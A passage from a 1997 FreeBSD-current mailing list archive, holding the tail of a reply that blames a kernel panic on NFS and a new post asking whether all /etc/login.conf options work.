mp_lock=2, cpuid=0, lapic,id=0 > That is usually an NFS problem. > > The machine currently is running some irc bots, and an nfs client.... > ^^^ See there!!! :-). > > If anyone has any suggestions, or anything they want me to try, please let > me know. :) > Try messing with your NFS config, and see if you can tickle the bug differently to get more info. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Sat Nov 22 22:50:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA23291 for current-outgoing; Sat, 22 Nov 1997 22:50:52 -0800 (PST) (envelope-from owner-freebsd-current) Received: from amity.ai.net (mrr@[205.134.188.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA23281 for ; Sat, 22 Nov 1997 22:50:49 -0800 (PST) (envelope-from mrr@amity.ai.net) Received: from localhost (mrr@localhost) by amity.ai.net (8.8.7/8.8.5) with SMTP id BAA00467 for ; Sun, 23 Nov 1997 01:51:14 -0500 (EST) Date: Sun, 23 Nov 1997 01:51:14 -0500 (EST) From: "Michael R. Rudel" To: current@freebsd.org Subject: /etc/login.conf Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone have any idea if all the options in the /etc/login.conf file work? I've tried playing around with it alot latley, and I can't seem to get them all to work. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= mrr-home.trekworld.com -=- FreeBSD 3.0-CURRENT -=- There are no Limits Michael R. Rudel - Rhiannon Internet Services - Lead Programmer Administrator - Deep Space MUSE :: trekworld.com :: FreeBSD: Turning PCs into workstations. -=-=-=-=-=-=-=-=-=-=-=-=-=- mrr@trekworld.com -=-=-=-=-=-=-=-=-=-=-=